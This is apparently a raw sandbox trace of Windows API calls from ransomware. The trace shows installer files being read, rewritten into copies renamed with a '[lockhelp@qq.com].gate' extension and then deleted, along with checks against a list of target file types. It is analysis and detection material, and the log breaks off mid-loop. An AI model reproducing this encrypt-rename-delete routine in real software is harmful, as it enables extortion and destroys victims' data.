0x0 [0111.897] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x151aa, lpOverlapped=0x0) returned 1 [0112.036] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x151b0, lpOverlapped=0x0) returned 1 [0112.039] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0112.039] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0112.039] SetEndOfFile (hFile=0x30c) returned 1 [0112.039] CloseHandle (hObject=0x30c) returned 1 [0112.041] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.041] SetEndOfFile (hFile=0x308) returned 1 [0112.043] CloseHandle (hObject=0x308) returned 1 [0112.043] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.044] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0112.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.044] lstrlenW (lpString=".doc") returned 4 [0112.044] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.044] lstrlenW (lpString=".docx") returned 5 [0112.044] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.044] lstrlenW (lpString=".pdf") returned 4 [0112.044] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.044] lstrlenW (lpString=".xls") returned 4 [0112.044] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.044] lstrlenW (lpString=".xlsx") returned 5 [0112.045] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.045] lstrlenW (lpString=".ppt") returned 4 [0112.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.045] lstrlenW (lpString=".zip") returned 4 [0112.045] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.045] lstrlenW (lpString=".rar") returned 4 [0112.045] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.045] lstrlenW (lpString=".bz2") returned 4 [0112.045] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.045] lstrlenW (lpString=".7z") returned 3 [0112.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.045] lstrlenW (lpString=".dbf") returned 4 [0112.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.045] lstrlenW (lpString=".1cd") returned 4 [0112.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.045] lstrlenW (lpString=".jpg") returned 4 [0112.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.045] lstrlenW (lpString=".doc") returned 4 [0112.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString=".docx") returned 5 [0112.046] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.046] lstrlenW (lpString=".pdf") returned 4 [0112.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString=".xls") returned 4 [0112.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString=".xlsx") returned 5 [0112.046] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.046] lstrlenW (lpString=".ppt") returned 4 [0112.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.046] lstrlenW (lpString=".zip") returned 4 [0112.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.046] lstrlenW (lpString=".rar") returned 4 [0112.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString=".bz2") returned 4 [0112.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString=".7z") returned 3 [0112.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.046] lstrlenW (lpString=".dbf") returned 4 [0112.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.046] lstrlenW (lpString=".1cd") returned 4 [0112.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0112.047] lstrlenW (lpString=".jpg") returned 4 [0112.047] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.047] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0112.047] lstrlenW (lpString="LocalizedData.xml") returned 17 [0112.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.047] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=80060) returned 1 [0112.047] CloseHandle (hObject=0x308) returned 1 [0112.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0112.048] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.048] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.048] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.048] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.048] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0112.048] GetLastError () returned 0x0 [0112.048] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x138bc, lpOverlapped=0x0) returned 1 [0112.129] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x138c0, lpOverlapped=0x0) returned 1 [0112.131] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0112.131] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0112.131] SetEndOfFile (hFile=0x30c) returned 1 [0112.131] CloseHandle (hObject=0x30c) returned 1 [0112.133] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.133] SetEndOfFile (hFile=0x308) returned 1 [0112.135] CloseHandle (hObject=0x308) returned 1 [0112.135] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.135] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0112.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.136] lstrlenW (lpString=".doc") returned 4 [0112.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.136] lstrlenW (lpString=".docx") returned 5 [0112.136] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.136] lstrlenW (lpString=".pdf") returned 4 [0112.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.136] lstrlenW (lpString=".xls") returned 4 [0112.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.136] lstrlenW (lpString=".xlsx") returned 5 [0112.136] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.136] lstrlenW (lpString=".ppt") returned 4 [0112.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.136] lstrlenW (lpString=".zip") returned 4 [0112.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.136] lstrlenW (lpString=".rar") returned 4 [0112.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.136] lstrlenW (lpString=".bz2") returned 4 [0112.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString=".7z") returned 3 [0112.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.137] lstrlenW (lpString=".dbf") returned 4 [0112.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.137] lstrlenW (lpString=".1cd") returned 4 [0112.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.137] lstrlenW (lpString=".jpg") returned 4 [0112.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.137] lstrlenW (lpString=".doc") returned 4 [0112.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString=".docx") returned 5 [0112.137] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.137] lstrlenW (lpString=".pdf") returned 4 [0112.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString=".xls") returned 4 [0112.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString=".xlsx") returned 5 [0112.137] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.137] lstrlenW (lpString=".ppt") returned 4 [0112.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.138] lstrlenW (lpString=".zip") returned 4 [0112.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.138] lstrlenW (lpString=".rar") returned 4 [0112.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.138] lstrlenW (lpString=".bz2") returned 4 [0112.138] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.138] lstrlenW (lpString=".7z") returned 3 [0112.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.138] lstrlenW (lpString=".dbf") returned 4 [0112.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.138] lstrlenW (lpString=".1cd") returned 4 [0112.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0112.138] lstrlenW (lpString=".jpg") returned 4 [0112.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.138] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0112.138] lstrlenW (lpString="eula.rtf") returned 8 [0112.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.139] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=12687) returned 1 [0112.139] CloseHandle (hObject=0x308) returned 1 [0112.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0112.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.139] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.139] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0112.140] GetLastError () returned 0x0 [0112.140] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x318f, lpOverlapped=0x0) returned 1 [0112.449] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x3190, lpOverlapped=0x0) returned 1 [0112.450] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0112.450] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0112.450] SetEndOfFile (hFile=0x30c) returned 1 [0112.451] CloseHandle (hObject=0x30c) returned 1 [0112.452] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.452] SetEndOfFile (hFile=0x308) returned 1 [0112.453] CloseHandle (hObject=0x308) returned 1 [0112.453] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.453] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0112.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.453] lstrlenW (lpString=".doc") returned 4 [0112.453] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.454] lstrlenW (lpString=".docx") returned 5 [0112.454] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.454] lstrlenW (lpString=".pdf") returned 4 [0112.454] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.454] lstrlenW (lpString=".xls") returned 4 [0112.454] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.454] lstrlenW (lpString=".xlsx") returned 5 [0112.454] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.454] lstrlenW (lpString=".ppt") returned 4 [0112.454] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.454] lstrlenW (lpString=".zip") returned 4 [0112.454] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.454] lstrlenW (lpString=".rar") returned 4 [0112.454] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.454] lstrlenW (lpString=".bz2") returned 4 [0112.454] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.454] lstrlenW (lpString=".7z") returned 3 [0112.454] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.454] lstrlenW (lpString=".dbf") returned 4 [0112.454] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.454] lstrlenW (lpString=".1cd") returned 4 [0112.454] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.454] lstrlenW (lpString=".jpg") returned 4 [0112.455] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.455] lstrlenW (lpString=".doc") returned 4 [0112.455] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.455] lstrlenW (lpString=".docx") returned 5 [0112.455] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.455] lstrlenW (lpString=".pdf") returned 4 [0112.455] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.455] lstrlenW (lpString=".xls") returned 4 [0112.455] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.455] lstrlenW (lpString=".xlsx") returned 5 [0112.455] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.455] lstrlenW (lpString=".ppt") returned 4 [0112.455] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.455] lstrlenW (lpString=".zip") returned 4 [0112.455] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.455] lstrlenW (lpString=".rar") returned 4 [0112.455] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.455] lstrlenW (lpString=".bz2") returned 4 [0112.455] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.455] lstrlenW (lpString=".7z") returned 3 [0112.455] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.456] lstrlenW (lpString=".dbf") returned 4 [0112.456] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.456] lstrlenW (lpString=".1cd") returned 4 [0112.456] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0112.456] lstrlenW (lpString=".jpg") returned 4 [0112.456] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.456] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0112.456] lstrlenW (lpString="eula.rtf") returned 8 [0112.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.456] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=4040) returned 1 [0112.456] CloseHandle (hObject=0x308) returned 1 [0112.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0112.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.457] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.457] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0112.457] GetLastError () returned 0x0 [0112.457] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xfc8, lpOverlapped=0x0) returned 1 [0112.600] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xfd0, lpOverlapped=0x0) returned 1 [0112.601] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0112.601] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0112.602] SetEndOfFile (hFile=0x30c) returned 1 [0112.602] CloseHandle (hObject=0x30c) returned 1 [0112.603] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.603] SetEndOfFile (hFile=0x308) returned 1 [0112.604] CloseHandle (hObject=0x308) returned 1 [0112.604] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.604] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0112.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.605] lstrlenW (lpString=".doc") returned 4 [0112.605] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.605] lstrlenW (lpString=".docx") returned 5 [0112.605] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.605] lstrlenW (lpString=".pdf") returned 4 [0112.605] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.605] lstrlenW (lpString=".xls") returned 4 [0112.605] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.605] lstrlenW (lpString=".xlsx") returned 5 [0112.605] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.605] lstrlenW (lpString=".ppt") returned 4 [0112.605] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.605] lstrlenW (lpString=".zip") returned 4 [0112.605] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.605] lstrlenW (lpString=".rar") returned 4 